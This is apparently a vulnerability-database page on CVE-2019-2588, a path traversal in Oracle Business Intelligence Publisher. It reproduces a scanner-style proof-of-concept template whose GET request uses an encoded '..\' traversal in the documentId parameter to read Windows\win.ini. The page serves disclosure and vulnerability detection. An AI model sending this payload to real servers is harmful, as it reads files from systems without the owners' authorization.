CVE-2019-2588: Oracle Business Intelligence - Path Traversal

2025-08-01 Oracle Business Intelligence PoC Public

Description

Oracle Business Intelligence versions 11.1.1.9.0, 12.2.1.3.0 and 12.2.1.4.0 are vulnerable to path traversal in the BI Publisher (formerly XML Publisher) component of Oracle Fusion Middleware (subcomponent: BI Publisher Security).

PoC

id: CVE-2019-2588

info:
  name: Oracle Business Intelligence - Path Traversal
  author: madrobot
  severity: medium
  description: |
    Oracle Business Intelligence versions 11.1.1.9.0, 12.2.1.3.0 and 12.2.1.4.0 are vulnerable to path traversal in the BI Publisher (formerly XML Publisher) component of Oracle Fusion Middleware (subcomponent: BI Publisher Security).
  impact: |
    An attacker can read sensitive files on the system, potentially leading to unauthorized access or exposure of sensitive information.
  remediation: |
    Apply the necessary patches or updates provided by Oracle to fix the path traversal vulnerability.
  reference:
    - http://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-2588
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
    - https://github.com/lnick2023/nicenice
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 4.9
    cve-id: CVE-2019-2588
    epss-score: 0.36787
    epss-percentile: 0.98423
    cpe: cpe:2.3:a:oracle:business_intelligence_publisher:11.1.1.9.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: oracle
    product: business_intelligence_publisher
  tags: cve,cve2019,oracle,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/xmlpserver/servlet/adfresource?format=aaaaaaaaaaaaaaa&documentId=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'for 16-bit app support'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c5cd057fb373175e783e72d13361a8a44770e3bd3526cacafe14477b79a3e70502210083ed9c2c7735e49fa343d8204c0d1b41425a09de43125ea82bd95b82e7bb1d6c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities